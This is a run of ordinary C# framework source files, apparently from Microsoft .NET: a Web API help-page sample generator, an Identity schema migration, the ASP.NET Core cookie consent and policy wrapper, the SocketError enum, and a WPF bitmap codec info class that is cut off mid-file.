cref="System.Net.Http.ObjectContent{T}"/> passed to the <see cref="System.Net.Http.HttpRequestMessage"/> in an action. /// </summary> /// <param name="api">The <see cref="ApiDescription"/>.</param> /// <returns>The type.</returns> public virtual Type ResolveHttpRequestMessageType(ApiDescription api) { string controllerName = api.ActionDescriptor.ControllerDescriptor.ControllerName; string actionName = api.ActionDescriptor.ActionName; IEnumerable<string> parameterNames = api.ParameterDescriptions.Select(p => p.Name); Collection<MediaTypeFormatter> formatters; return ResolveType(api, controllerName, actionName, parameterNames, SampleDirection.Request, out formatters); } /// <summary> /// Resolves the type of the action parameter or return value when <see cref="HttpRequestMessage"/> or <see cref="HttpResponseMessage"/> is used. /// </summary> /// <param name="api">The <see cref="ApiDescription"/>.</param> /// <param name="controllerName">Name of the controller.</param> /// <param name="actionName">Name of the action.</param> /// <param name="parameterNames">The parameter names.</param> /// <param name="sampleDirection">The value indicating whether the sample is for a request or a response.</param> /// <param name="formatters">The formatters.</param> [SuppressMessage("Microsoft.Design", "CA1021:AvoidOutParameters", Justification = "This is only used in advanced scenarios.")] public virtual Type ResolveType(ApiDescription api, string controllerName, string actionName, IEnumerable<string> parameterNames, SampleDirection sampleDirection, out Collection<MediaTypeFormatter> formatters) { if (!Enum.IsDefined(typeof(SampleDirection), sampleDirection)) { throw new InvalidEnumArgumentException("sampleDirection", (int)sampleDirection, typeof(SampleDirection)); } if (api == null) { throw new ArgumentNullException("api"); } Type type; if (ActualHttpMessageTypes.TryGetValue(new HelpPageSampleKey(sampleDirection, controllerName, actionName, parameterNames), out type) || ActualHttpMessageTypes.TryGetValue(new HelpPageSampleKey(sampleDirection, controllerName, actionName, new[] { "*" }), out type)) { // Re-compute the supported formatters based on type Collection<MediaTypeFormatter> newFormatters = new Collection<MediaTypeFormatter>(); foreach (var formatter in api.ActionDescriptor.Configuration.Formatters) { if (IsFormatSupported(sampleDirection, formatter, type)) { newFormatters.Add(formatter); } } formatters = newFormatters; } else { switch (sampleDirection) { case SampleDirection.Request: ApiParameterDescription requestBodyParameter = api.ParameterDescriptions.FirstOrDefault(p => p.Source == ApiParameterSource.FromBody); type = requestBodyParameter == null ? null : requestBodyParameter.ParameterDescriptor.ParameterType; formatters = api.SupportedRequestBodyFormatters; break; case SampleDirection.Response: default: type = api.ResponseDescription.ResponseType ?? api.ResponseDescription.DeclaredType; formatters = api.SupportedResponseFormatters; break; } } return type; } /// <summary> /// Writes the sample object using formatter. /// </summary> /// <param name="formatter">The formatter.</param> /// <param name="value">The value.</param> /// <param name="type">The type.</param> /// <param name="mediaType">Type of the media.</param> /// <returns></returns> [SuppressMessage("Microsoft.Design", "CA1031:DoNotCatchGeneralExceptionTypes", Justification = "The exception is recorded as InvalidSample.")] public virtual object WriteSampleObjectUsingFormatter(MediaTypeFormatter formatter, object value, Type type, MediaTypeHeaderValue mediaType) { if (formatter == null) { throw new ArgumentNullException("formatter"); } if (mediaType == null) { throw new ArgumentNullException("mediaType"); } object sample = String.Empty; MemoryStream ms = null; HttpContent content = null; try { if (formatter.CanWriteType(type)) { ms = new MemoryStream(); content = new ObjectContent(type, value, formatter, mediaType); formatter.WriteToStreamAsync(type, value, ms, content, null).Wait(); ms.Position = 0; StreamReader reader = new StreamReader(ms); string serializedSampleString = reader.ReadToEnd(); if (mediaType.MediaType.ToUpperInvariant().Contains("XML")) { serializedSampleString = TryFormatXml(serializedSampleString); } else if (mediaType.MediaType.ToUpperInvariant().Contains("JSON")) { serializedSampleString = TryFormatJson(serializedSampleString); } sample = new TextSample(serializedSampleString); } else { sample = new InvalidSample(String.Format( CultureInfo.CurrentCulture, "Failed to generate the sample for media type '{0}'. Cannot use formatter '{1}' to write type '{2}'.", mediaType, formatter.GetType().Name, type.Name)); } } catch (Exception e) { sample = new InvalidSample(String.Format( CultureInfo.CurrentCulture, "An exception has occurred while using the formatter '{0}' to generate sample for media type '{1}'. Exception message: {2}", formatter.GetType().Name, mediaType.MediaType, UnwrapException(e).Message)); } finally { if (ms != null) { ms.Dispose(); } if (content != null) { content.Dispose(); } } return sample; } internal static Exception UnwrapException(Exception exception) { AggregateException aggregateException = exception as AggregateException; if (aggregateException != null) { return aggregateException.Flatten().InnerException; } return exception; } // Default factory for sample objects private static object DefaultSampleObjectFactory(HelpPageSampleGenerator sampleGenerator, Type type) { // Try to create a default sample object ObjectGenerator objectGenerator = new ObjectGenerator(); return objectGenerator.GenerateObject(type); } [SuppressMessage("Microsoft.Design", "CA1031:DoNotCatchGeneralExceptionTypes", Justification = "Handling the failure by returning the original string.")] private static string TryFormatJson(string str) { try { object parsedJson = JsonConvert.DeserializeObject(str); return JsonConvert.SerializeObject(parsedJson, Formatting.Indented); } catch { // can't parse JSON, return the original string return str; } } [SuppressMessage("Microsoft.Design", "CA1031:DoNotCatchGeneralExceptionTypes", Justification = "Handling the failure by returning the original string.")] private static string TryFormatXml(string str) { try { XDocument xml = XDocument.Parse(str); return xml.ToString(); } catch { // can't parse XML, return the original string return str; } } private static bool IsFormatSupported(SampleDirection sampleDirection, MediaTypeFormatter formatter, Type type) { switch (sampleDirection) { case SampleDirection.Request: return formatter.CanReadType(type); case SampleDirection.Response: return formatter.CanWriteType(type); } return false; } private IEnumerable<KeyValuePair<HelpPageSampleKey, object>> GetAllActionSamples(string controllerName, string actionName, IEnumerable<string> parameterNames, SampleDirection sampleDirection) { HashSet<string> parameterNamesSet = new HashSet<string>(parameterNames, StringComparer.OrdinalIgnoreCase); foreach (var sample in ActionSamples) { HelpPageSampleKey sampleKey = sample.Key; if (String.Equals(controllerName, sampleKey.ControllerName, StringComparison.OrdinalIgnoreCase) && String.Equals(actionName, sampleKey.ActionName, StringComparison.OrdinalIgnoreCase) && (sampleKey.ParameterNames.SetEquals(new[] { "*" }) || parameterNamesSet.SetEquals(sampleKey.ParameterNames)) && sampleDirection == sampleKey.SampleDirection) { yield return sample; } } } private static object WrapSampleIfString(object sample) { string stringSample = sample as string; if (stringSample != null) { return new TextSample(stringSample); } return sample; } } }
using System; using System.Collections.Generic; using System.Linq; using System.Threading.Tasks; using Microsoft.EntityFrameworkCore; using Microsoft.EntityFrameworkCore.Infrastructure; using Microsoft.EntityFrameworkCore.Metadata; using Microsoft.EntityFrameworkCore.Migrations; namespace BlogTemplate._1.Data.Migrations { [DbContext(typeof(ApplicationDbContext))] [Migration("00000000000000_CreateIdentitySchema")] partial class CreateIdentitySchema { protected override void BuildTargetModel(ModelBuilder modelBuilder) { modelBuilder .HasAnnotation("ProductVersion", "1.0.0-rc3") .HasAnnotation("SqlServer:ValueGenerationStrategy", SqlServerValueGenerationStrategy.IdentityColumn); modelBuilder.Entity("Microsoft.AspNetCore.Identity.IdentityRole", b => { b.Property<string>("Id"); b.Property<string>("ConcurrencyStamp") .IsConcurrencyToken(); b.Property<string>("Name") .HasAnnotation("MaxLength", 256); b.Property<string>("NormalizedName") .HasAnnotation("MaxLength", 256); b.HasKey("Id"); b.HasIndex("NormalizedName") .HasName("RoleNameIndex"); b.ToTable("AspNetRoles"); }); modelBuilder.Entity("Microsoft.AspNetCore.Identity.IdentityRoleClaim<string>", b => { b.Property<int>("Id") .ValueGeneratedOnAdd(); b.Property<string>("ClaimType"); b.Property<string>("ClaimValue"); b.Property<string>("RoleId") .IsRequired(); b.HasKey("Id"); b.HasIndex("RoleId"); b.ToTable("AspNetRoleClaims"); }); modelBuilder.Entity("Microsoft.AspNetCore.Identity.IdentityUserClaim<string>", b => { b.Property<int>("Id") .ValueGeneratedOnAdd(); b.Property<string>("ClaimType"); b.Property<string>("ClaimValue"); b.Property<string>("UserId") .IsRequired(); b.HasKey("Id"); b.HasIndex("UserId"); b.ToTable("AspNetUserClaims"); }); modelBuilder.Entity("Microsoft.AspNetCore.Identity.IdentityUserLogin<string>", b => { b.Property<string>("LoginProvider"); b.Property<string>("ProviderKey"); b.Property<string>("ProviderDisplayName"); b.Property<string>("UserId") .IsRequired(); b.HasKey("LoginProvider", "ProviderKey"); b.HasIndex("UserId"); b.ToTable("AspNetUserLogins"); }); modelBuilder.Entity("Microsoft.AspNetCore.Identity.IdentityUserRole<string>", b => { b.Property<string>("UserId"); b.Property<string>("RoleId"); b.HasKey("UserId", "RoleId"); b.HasIndex("RoleId"); b.HasIndex("UserId"); b.ToTable("AspNetUserRoles"); }); modelBuilder.Entity("Microsoft.AspNetCore.Identity.IdentityUserToken<string>", b => { b.Property<string>("UserId"); b.Property<string>("LoginProvider"); b.Property<string>("Name"); b.Property<string>("Value"); b.HasKey("UserId", "LoginProvider", "Name"); b.ToTable("AspNetUserTokens"); }); modelBuilder.Entity("BlogTemplate.Models.ApplicationUser", b => { b.Property<string>("Id"); b.Property<int>("AccessFailedCount"); b.Property<string>("ConcurrencyStamp") .IsConcurrencyToken(); b.Property<string>("Email") .HasAnnotation("MaxLength", 256); b.Property<bool>("EmailConfirmed"); b.Property<bool>("LockoutEnabled"); b.Property<DateTimeOffset?>("LockoutEnd"); b.Property<string>("NormalizedEmail") .HasAnnotation("MaxLength", 256); b.Property<string>("NormalizedUserName") .HasAnnotation("MaxLength", 256); b.Property<string>("PasswordHash"); b.Property<string>("PhoneNumber"); b.Property<bool>("PhoneNumberConfirmed"); b.Property<string>("SecurityStamp"); b.Property<bool>("TwoFactorEnabled"); b.Property<string>("UserName") .HasAnnotation("MaxLength", 256); b.HasKey("Id"); b.HasIndex("NormalizedEmail") .HasName("EmailIndex"); b.HasIndex("NormalizedUserName") .IsUnique() .HasName("UserNameIndex"); b.ToTable("AspNetUsers"); }); modelBuilder.Entity("Microsoft.AspNetCore.Identity.IdentityRoleClaim<string>", b => { b.HasOne("Microsoft.AspNetCore.Identity.IdentityRole") .WithMany("Claims") .HasForeignKey("RoleId") .OnDelete(DeleteBehavior.Cascade); }); modelBuilder.Entity("Microsoft.AspNetCore.Identity.IdentityUserClaim<string>", b => { b.HasOne("BlogTemplate.Models.ApplicationUser") .WithMany("Claims") .HasForeignKey("UserId") .OnDelete(DeleteBehavior.Cascade); }); modelBuilder.Entity("Microsoft.AspNetCore.Identity.IdentityUserLogin<string>", b => { b.HasOne("BlogTemplate.Models.ApplicationUser") .WithMany("Logins") .HasForeignKey("UserId") .OnDelete(DeleteBehavior.Cascade); }); modelBuilder.Entity("Microsoft.AspNetCore.Identity.IdentityUserRole<string>", b => { b.HasOne("Microsoft.AspNetCore.Identity.IdentityRole") .WithMany("Users") .HasForeignKey("RoleId") .OnDelete(DeleteBehavior.Cascade); b.HasOne("BlogTemplate.Models.ApplicationUser") .WithMany("Roles") .HasForeignKey("UserId") .OnDelete(DeleteBehavior.Cascade); }); } } }
// Licensed to the .NET Foundation under one or more agreements. // The .NET Foundation licenses this file to you under the MIT license. using System; using System.Collections.Generic; using System.Diagnostics; using System.Runtime.InteropServices; using Microsoft.AspNetCore.Builder; using Microsoft.AspNetCore.Http; using Microsoft.AspNetCore.Http.Features; using Microsoft.Extensions.Logging; namespace Microsoft.AspNetCore.CookiePolicy { internal class ResponseCookiesWrapper : IResponseCookies, ITrackingConsentFeature { private const string ConsentValue = "yes"; private readonly ILogger _logger; private bool? _isConsentNeeded; private bool? _hasConsent; public ResponseCookiesWrapper(HttpContext context, CookiePolicyOptions options, IResponseCookiesFeature feature, ILogger logger) { Context = context; Feature = feature; Options = options; _logger = logger; } private HttpContext Context { get; } private IResponseCookiesFeature Feature { get; } private IResponseCookies Cookies => Feature.Cookies; private CookiePolicyOptions Options { get; } public bool IsConsentNeeded { get { if (!_isConsentNeeded.HasValue) { _isConsentNeeded = Options.CheckConsentNeeded == null ? false : Options.CheckConsentNeeded(Context); _logger.NeedsConsent(_isConsentNeeded.Value); } return _isConsentNeeded.Value; } } public bool HasConsent { get { if (!_hasConsent.HasValue) { var cookie = Context.Request.Cookies[Options.ConsentCookie.Name!]; _hasConsent = string.Equals(cookie, ConsentValue, StringComparison.Ordinal); _logger.HasConsent(_hasConsent.Value); } return _hasConsent.Value; } } public bool CanTrack => !IsConsentNeeded || HasConsent; public void GrantConsent() { if (!HasConsent && !Context.Response.HasStarted) { var cookieOptions = Options.ConsentCookie.Build(Context); // Note policy will be applied. We don't want to bypass policy because we want HttpOnly, Secure, etc. to apply. Append(Options.ConsentCookie.Name!, ConsentValue, cookieOptions); _logger.ConsentGranted(); } _hasConsent = true; } public void WithdrawConsent() { if (HasConsent && !Context.Response.HasStarted) { var cookieOptions = Options.ConsentCookie.Build(Context); // Note policy will be applied. We don't want to bypass policy because we want HttpOnly, Secure, etc. to apply. Delete(Options.ConsentCookie.Name!, cookieOptions); _logger.ConsentWithdrawn(); } _hasConsent = false; } // Note policy will be applied. We don't want to bypass policy because we want HttpOnly, Secure, etc. to apply. public string CreateConsentCookie() { var key = Options.ConsentCookie.Name; var value = ConsentValue; var options = Options.ConsentCookie.Build(Context); Debug.Assert(key != null); ApplyAppendPolicy(ref key, ref value, options); var setCookieHeaderValue = new Net.Http.Headers.SetCookieHeaderValue( Uri.EscapeDataString(key), Uri.EscapeDataString(value)) { Domain = options.Domain, Path = options.Path, Expires = options.Expires, MaxAge = options.MaxAge, Secure = options.Secure, SameSite = (Net.Http.Headers.SameSiteMode)options.SameSite, HttpOnly = options.HttpOnly }; return setCookieHeaderValue.ToString(); } private bool CheckPolicyRequired() { return !CanTrack || Options.MinimumSameSitePolicy != SameSiteMode.Unspecified || Options.HttpOnly != HttpOnlyPolicy.None || Options.Secure != CookieSecurePolicy.None; } public void Append(string key, string value) { if (CheckPolicyRequired() || Options.OnAppendCookie != null) { Append(key, value, new CookieOptions()); } else { Cookies.Append(key, value); } } public void Append(string key, string value, CookieOptions options) { if (options == null) { throw new ArgumentNullException(nameof(options)); } if (ApplyAppendPolicy(ref key, ref value, options)) { Cookies.Append(key, value, options); } else { _logger.CookieSuppressed(key); } } public void Append(ReadOnlySpan<KeyValuePair<string, string>> keyValuePairs, CookieOptions options) { if (options == null) { throw new ArgumentNullException(nameof(options)); } var nonSuppressedValues = new List<KeyValuePair<string, string>>(keyValuePairs.Length); foreach (var keyValuePair in keyValuePairs) { var key = keyValuePair.Key; var value = keyValuePair.Value; if (ApplyAppendPolicy(ref key, ref value, options)) { nonSuppressedValues.Add(KeyValuePair.Create(key, value)); } else { _logger.CookieSuppressed(keyValuePair.Key); } } Cookies.Append(CollectionsMarshal.AsSpan(nonSuppressedValues), options); } private bool ApplyAppendPolicy(ref string key, ref string value, CookieOptions options) { var issueCookie = CanTrack || options.IsEssential; ApplyPolicy(key, options); if (Options.OnAppendCookie != null) { var context = new AppendCookieContext(Context, options, key, value) { IsConsentNeeded = IsConsentNeeded, HasConsent = HasConsent, IssueCookie = issueCookie, }; Options.OnAppendCookie(context); key = context.CookieName; value = context.CookieValue; issueCookie = context.IssueCookie; } return issueCookie; } public void Delete(string key) { if (CheckPolicyRequired() || Options.OnDeleteCookie != null) { Delete(key, new CookieOptions()); } else { Cookies.Delete(key); } } public void Delete(string key, CookieOptions options) { if (options == null) { throw new ArgumentNullException(nameof(options)); } // Assume you can always delete cookies unless directly overridden in the user event. var issueCookie = true; ApplyPolicy(key, options); if (Options.OnDeleteCookie != null) { var context = new DeleteCookieContext(Context, options, key) { IsConsentNeeded = IsConsentNeeded, HasConsent = HasConsent, IssueCookie = issueCookie, }; Options.OnDeleteCookie(context); key = context.CookieName; issueCookie = context.IssueCookie; } if (issueCookie) { Cookies.Delete(key, options); } else { _logger.DeleteCookieSuppressed(key); } } private void ApplyPolicy(string key, CookieOptions options) { switch (Options.Secure) { case CookieSecurePolicy.Always: if (!options.Secure) { options.Secure = true; _logger.CookieUpgradedToSecure(key); } break; case CookieSecurePolicy.SameAsRequest: // Never downgrade a cookie if (Context.Request.IsHttps && !options.Secure) { options.Secure = true; _logger.CookieUpgradedToSecure(key); } break; case CookieSecurePolicy.None: break; default: throw new InvalidOperationException(); } if (options.SameSite < Options.MinimumSameSitePolicy) { options.SameSite = Options.MinimumSameSitePolicy; _logger.CookieSameSiteUpgraded(key, Options.MinimumSameSitePolicy.ToString()); } switch (Options.HttpOnly) { case HttpOnlyPolicy.Always: if (!options.HttpOnly) { options.HttpOnly = true; _logger.CookieUpgradedToHttpOnly(key); } break; case HttpOnlyPolicy.None: break; default: throw new InvalidOperationException($"Unrecognized {nameof(HttpOnlyPolicy)} value {Options.HttpOnly.ToString()}"); } } } }
// // Copyright (c) Microsoft Corporation. All rights reserved. // namespace System.Net.Sockets { /// <devdoc> /// <para> /// Defines socket error constants. /// </para> /// </devdoc> public enum SocketError : int { /// <devdoc> /// <para> /// The operation completed succesfully. /// </para> /// </devdoc> Success = 0, /// <devdoc> /// <para> /// The socket has an error. /// </para> /// </devdoc> SocketError = (-1), /* * Windows Sockets definitions of regular Microsoft C error constants */ /// <devdoc> /// <para> /// A blocking socket call was canceled. /// </para> /// </devdoc> Interrupted = (10000 + 4), //WSAEINTR /// <devdoc> /// <para> /// [To be supplied.] /// </para> /// </devdoc> //WSAEBADF = (10000+9), // /// <devdoc> /// <para> /// Permission denied. /// </para> /// </devdoc> AccessDenied = (10000 + 13), //WSAEACCES /// <devdoc> /// <para> /// Bad address. /// </para> /// </devdoc> Fault = (10000 + 14), //WSAEFAULT /// <devdoc> /// <para> /// Invalid argument. /// </para> /// </devdoc> InvalidArgument = (10000 + 22), //WSAEINVAL /// <devdoc> /// <para> /// Too many open /// files. /// </para> /// </devdoc> TooManyOpenSockets = (10000 + 24), //WSAEMFILE /* * Windows Sockets definitions of regular Berkeley error constants */ /// <devdoc> /// <para> /// Resource temporarily unavailable. /// </para> /// </devdoc> WouldBlock = (10000 + 35), //WSAEWOULDBLOCK /// <devdoc> /// <para> /// Operation now in progress. /// </para> /// </devdoc> InProgress = (10000 + 36), // WSAEINPROGRESS /// <devdoc> /// <para> /// Operation already in progress. /// </para> /// </devdoc> AlreadyInProgress = (10000 + 37), //WSAEALREADY /// <devdoc> /// <para> /// Socket operation on nonsocket. /// </para> /// </devdoc> NotSocket = (10000 + 38), //WSAENOTSOCK /// <devdoc> /// <para> /// Destination address required. /// </para> /// </devdoc> DestinationAddressRequired = (10000 + 39), //WSAEDESTADDRREQ /// <devdoc> /// <para> /// Message too long. /// </para> /// </devdoc> MessageSize = (10000 + 40), //WSAEMSGSIZE /// <devdoc> /// <para> /// Protocol wrong type for socket. /// </para> /// </devdoc> ProtocolType = (10000 + 41), //WSAEPROTOTYPE /// <devdoc> /// <para> /// Bad protocol option. /// </para> /// </devdoc> ProtocolOption = (10000 + 42), //WSAENOPROTOOPT /// <devdoc> /// <para> /// Protocol not supported. /// </para> /// </devdoc> ProtocolNotSupported = (10000 + 43), //WSAEPROTONOSUPPORT /// <devdoc> /// <para> /// Socket type not supported. /// </para> /// </devdoc> SocketNotSupported = (10000 + 44), //WSAESOCKTNOSUPPORT /// <devdoc> /// <para> /// Operation not supported. /// </para> /// </devdoc> OperationNotSupported = (10000 + 45), //WSAEOPNOTSUPP /// <devdoc> /// <para> /// Protocol family not supported. /// </para> /// </devdoc> ProtocolFamilyNotSupported = (10000 + 46), //WSAEPFNOSUPPORT /// <devdoc> /// <para> /// Address family not supported by protocol family. /// </para> /// </devdoc> AddressFamilyNotSupported = (10000 + 47), //WSAEAFNOSUPPORT /// <devdoc> /// Address already in use. /// </devdoc> AddressAlreadyInUse = (10000 + 48), // WSAEADDRINUSE /// <devdoc> /// <para> /// Cannot assign requested address. /// </para> /// </devdoc> AddressNotAvailable = (10000 + 49), //WSAEADDRNOTAVAIL /// <devdoc> /// <para> /// Network is down. /// </para> /// </devdoc> NetworkDown = (10000 + 50), //WSAENETDOWN /// <devdoc> /// <para> /// Network is unreachable. /// </para> /// </devdoc> NetworkUnreachable = (10000 + 51), //WSAENETUNREACH /// <devdoc> /// <para> /// Network dropped connection on reset. /// </para> /// </devdoc> NetworkReset = (10000 + 52), //WSAENETRESET /// <devdoc> /// <para> /// Software caused connection to abort. /// </para> /// </devdoc> ConnectionAborted = (10000 + 53), //WSAECONNABORTED /// <devdoc> /// <para> /// Connection reset by peer. /// </para> /// </devdoc> ConnectionReset = (10000 + 54), //WSAECONNRESET /// <devdoc> /// No buffer space available. /// </devdoc> NoBufferSpaceAvailable = (10000 + 55), //WSAENOBUFS /// <devdoc> /// <para> /// Socket is already connected. /// </para> /// </devdoc> IsConnected = (10000 + 56), //WSAEISCONN /// <devdoc> /// <para> /// Socket is not connected. /// </para> /// </devdoc> NotConnected = (10000 + 57), //WSAENOTCONN /// <devdoc> /// <para> /// Cannot send after socket shutdown. /// </para> /// </devdoc> Shutdown = (10000 + 58), //WSAESHUTDOWN /// <devdoc> /// <para> /// Connection timed out. /// </para> /// </devdoc> TimedOut = (10000 + 60), //WSAETIMEDOUT /// <devdoc> /// <para> /// Connection refused. /// </para> /// </devdoc> ConnectionRefused = (10000 + 61), //WSAECONNREFUSED /// <devdoc> /// <para> /// Host is down. /// </para> /// </devdoc> HostDown = (10000 + 64), //WSAEHOSTDOWN /// <devdoc> /// <para> /// No route to host. /// </para> /// </devdoc> HostUnreachable = (10000 + 65), //WSAEHOSTUNREACH /// <devdoc> /// <para> /// Too many processes. /// </para> /// </devdoc> ProcessLimit = (10000 + 67), //WSAEPROCLIM /// <devdoc> /// <para> /// [To be supplied.] /// </para> /// </devdoc> /* * Extended Windows Sockets error constant definitions */ /// <devdoc> /// <para> /// Network subsystem is unavailable. /// </para> /// </devdoc> SystemNotReady = (10000 + 91), //WSASYSNOTREADY /// <devdoc> /// <para> /// Winsock.dll out of range. /// </para> /// </devdoc> VersionNotSupported = (10000 + 92), //WSAVERNOTSUPPORTED /// <devdoc> /// <para> /// Successful startup not yet performed. /// </para> /// </devdoc> NotInitialized = (10000 + 93), //WSANOTINITIALISED // WSAEREMOTE = (10000+71), /// <devdoc> /// <para> /// Graceful shutdown in progress. /// </para> /// </devdoc> Disconnecting = (10000 + 101), //WSAEDISCON TypeNotFound = (10000 + 109), //WSATYPE_NOT_FOUND /* * Error return codes from gethostbyname() and gethostbyaddr() * = (when using the resolver). Note that these errors are * retrieved via WSAGetLastError() and must therefore follow * the rules for avoiding clashes with error numbers from * specific implementations or language run-time systems. * For this reason the codes are based at 10000+1001. * Note also that [WSA]NO_ADDRESS is defined only for * compatibility purposes. */ /// <devdoc> /// <para> /// Host not found (Authoritative Answer: Host not found). /// </para> /// </devdoc> HostNotFound = (10000 + 1001), //WSAHOST_NOT_FOUND /// <devdoc> /// <para> /// Nonauthoritative host not found (Non-Authoritative: Host not found, or SERVERFAIL). /// </para> /// </devdoc> TryAgain = (10000 + 1002), //WSATRY_AGAIN /// <devdoc> /// <para> /// This is a nonrecoverable error (Non recoverable errors, FORMERR, REFUSED, NOTIMP). /// </para> /// </devdoc> NoRecovery = (10000 + 1003), //WSANO_RECOVERY /// <devdoc> /// <para> /// Valid name, no data record of requested type. /// </para> /// </devdoc> NoData = (10000 + 1004), //WSANO_DATA } }
//------------------------------------------------------------------------------ // Microsoft Avalon // Copyright (c) Microsoft Corporation, All Rights Reserved // // File: BitmapCodecInfo.cs // //------------------------------------------------------------------------------ using System; using System.Collections; using System.Collections.Generic; using System.Collections.Specialized; using System.ComponentModel; using System.ComponentModel.Design.Serialization; using System.Reflection; using MS.Internal; using MS.Win32.PresentationCore; using System.Diagnostics; using System.Globalization; using System.Runtime.InteropServices; using System.IO; using System.Security; using System.Security.Permissions; using System.Windows.Media.Imaging; using System.Text; using MS.Internal.PresentationCore; // SecurityHelper namespace System.Windows.Media.Imaging { #region BitmapCodecInfo /// <summary> /// Codec info for a given Encoder/Decoder /// </summary> public abstract class BitmapCodecInfo { #region Constructors /// <summary> /// Constructor /// </summary> protected BitmapCodecInfo() { } /// <summary> /// Internal Constructor /// </summary> internal BitmapCodecInfo(SafeMILHandle codecInfoHandle) { Debug.Assert(codecInfoHandle != null); _isBuiltIn = true; _codecInfoHandle = codecInfoHandle; } #endregion #region Public Properties /// <summary> /// Container format /// </summary> /// <remarks> /// Callers must have RegistryPermission(PermissionState.Unrestricted) to call this API. /// </remarks> /// <SecurityNote> /// Critical - calls unamanged code to retrieve data /// PublicOK - Demands registry permissions /// </SecurityNote> public virtual Guid ContainerFormat { [SecurityCritical] get { SecurityHelper.DemandRegistryPermission(); EnsureBuiltIn(); Guid containerFormat; HRESULT.Check(UnsafeNativeMethods.WICBitmapCodecInfo.GetContainerFormat( _codecInfoHandle, out containerFormat )); return containerFormat; } } /// <summary> /// Author /// </summary> /// <remarks> /// Callers must have RegistryPermission(PermissionState.Unrestricted) to call this API. /// </remarks> /// <SecurityNote> /// Critical - calls unamanged code to retrieve data /// PublicOK - Demands registry permissions /// </SecurityNote> public virtual string Author { [SecurityCritical] get { SecurityHelper.DemandRegistryPermission(); EnsureBuiltIn(); StringBuilder author = null; UInt32 length = 0; // Find the length of the string needed HRESULT.Check(UnsafeNativeMethods.WICComponentInfo.GetAuthor( _codecInfoHandle, 0, author, out length )); Debug.Assert(length >= 0); // get the string back if (length > 0) { author = new StringBuilder((int)length); HRESULT.Check(UnsafeNativeMethods.WICComponentInfo.GetAuthor( _codecInfoHandle, length, author, out length )); } if (author != null) return author.ToString(); else return String.Empty; } } /// <summary> /// Version /// </summary> /// <remarks> /// Callers must have RegistryPermission(PermissionState.Unrestricted) to call this API. /// </remarks> /// <SecurityNote> /// Critical - calls unamanged code to retrieve data /// PublicOK - Demands registry permissions /// </SecurityNote> public virtual System.Version Version { [SecurityCritical] get { SecurityHelper.DemandRegistryPermission(); EnsureBuiltIn(); StringBuilder version = null; UInt32 length = 0; // Find the length of the string needed HRESULT.Check(UnsafeNativeMethods.WICComponentInfo.GetVersion( _codecInfoHandle, 0, version, out length )); Debug.Assert(length >= 0); // get the string back if (length > 0) { version = new StringBuilder((int)length); HRESULT.Check(UnsafeNativeMethods.WICComponentInfo.GetVersion( _codecInfoHandle, length, version, out length )); } if (version != null) return new Version(version.ToString()); else return new Version(); } } /// <summary> /// Spec Version /// </summary> /// <remarks> /// Callers must have RegistryPermission(PermissionState.Unrestricted) to call this API. /// </remarks> /// <SecurityNote> /// Critical - calls unamanged code to retrieve data /// PublicOK - Demands registry permissions /// </SecurityNote> public virtual Version SpecificationVersion { [SecurityCritical] get { SecurityHelper.DemandRegistryPermission(); EnsureBuiltIn(); StringBuilder specVersion = null; UInt32 length = 0; // Find the length of the string needed HRESULT.Check(UnsafeNativeMethods.WICComponentInfo.GetSpecVersion( _codecInfoHandle, 0, specVersion, out length )); Debug.Assert(length >= 0); // get the string back if (length > 0) { specVersion = new StringBuilder((int)length); HRESULT.Check(UnsafeNativeMethods.WICComponentInfo.GetSpecVersion( _codecInfoHandle, length, specVersion, out length )); } if (specVersion != null) return new Version(specVersion.ToString()); else return new Version(); } } /// <summary> /// Friendly Name /// </summary> /// <remarks> /// Callers must have RegistryPermission(PermissionState.Unrestricted) to call this API. /// </remarks> /// <SecurityNote> /// Critical - calls unamanged code to retrieve data /// PublicOK - Demands registry permissions /// </SecurityNote> public virtual string FriendlyName { [SecurityCritical] get { SecurityHelper.DemandRegistryPermission(); EnsureBuiltIn(); StringBuilder friendlyName = null; UInt32 length = 0; // Find the length of the string needed HRESULT.Check(UnsafeNativeMethods.WICComponentInfo.GetFriendlyName( _codecInfoHandle, 0, friendlyName, out length )); Debug.Assert(length >= 0); // get the string back if (length > 0) { friendlyName = new StringBuilder((int)length); HRESULT.Check(UnsafeNativeMethods.WICComponentInfo.GetFriendlyName( _codecInfoHandle, length, friendlyName, out length )); } if (friendlyName != null) return friendlyName.ToString(); else return String.Empty; } } /// <summary> /// Device Manufacturer /// </summary> /// <remarks> /// Callers must have RegistryPermission(PermissionState.Unrestricted) to call this API. /// </remarks> /// <SecurityNote> /// Critical - calls unamanged code to retrieve data /// PublicOK - Demands registry permissions /// </SecurityNote> public virtual string DeviceManufacturer { [SecurityCritical] get { SecurityHelper.DemandRegistryPermission(); EnsureBuiltIn(); StringBuilder deviceManufacturer = null; UInt32 length = 0; // Find the length of the string needed HRESULT.Check(UnsafeNativeMethods.WICBitmapCodecInfo.GetDeviceManufacturer( _codecInfoHandle, 0, deviceManufacturer, out length )); Debug.Assert(length >= 0); // get the string back if (length > 0) { deviceManufacturer = new StringBuilder((int)length); HRESULT.Check(UnsafeNativeMethods.WICBitmapCodecInfo.GetDeviceManufacturer( _codecInfoHandle, length, deviceManufacturer, out length )); } if (deviceManufacturer != null) return deviceManufacturer.ToString(); else return String.Empty; } } /// <summary> /// Device Models /// </summary> /// <remarks> /// Callers must have RegistryPermission(PermissionState.Unrestricted) to call this API. /// </remarks> /// <SecurityNote> /// Critical - calls unamanged code to retrieve data /// PublicOK - Demands registry permissions /// </SecurityNote> public virtual string DeviceModels { [SecurityCritical] get { SecurityHelper.DemandRegistryPermission(); EnsureBuiltIn(); StringBuilder deviceModels = null; UInt32 length = 0; // Find the length of the string needed HRESULT.Check(UnsafeNativeMethods.WICBitmapCodecInfo.GetDeviceModels( _codecInfoHandle, 0, deviceModels, out length )); Debug.Assert(length >= 0); // get the string back if (length > 0) { deviceModels = new StringBuilder((int)length); HRESULT.Check(UnsafeNativeMethods.WICBitmapCodecInfo.GetDeviceModels( _codecInfoHandle, length, deviceModels, out length )); } if (deviceModels != null) return deviceModels.ToString(); else return String.Empty; } } /// <summary> /// Mime types /// </summary> /// <remarks> /// Callers must have RegistryPermission(PermissionState.Unrestricted) to call this API. /// </remarks> /// <SecurityNote> /// Critical - calls unamanged code to retrieve data /// PublicOK - Demands registry permissions /// </SecurityNote> public virtual string MimeTypes { [SecurityCritical] get { SecurityHelper.DemandRegistryPermission(); EnsureBuiltIn(); StringBuilder mimeTypes = null; UInt32 length = 0; // Find the length of the string needed HRESULT.Check(UnsafeNativeMethods.WICBitmapCodecInfo.GetMimeTypes( 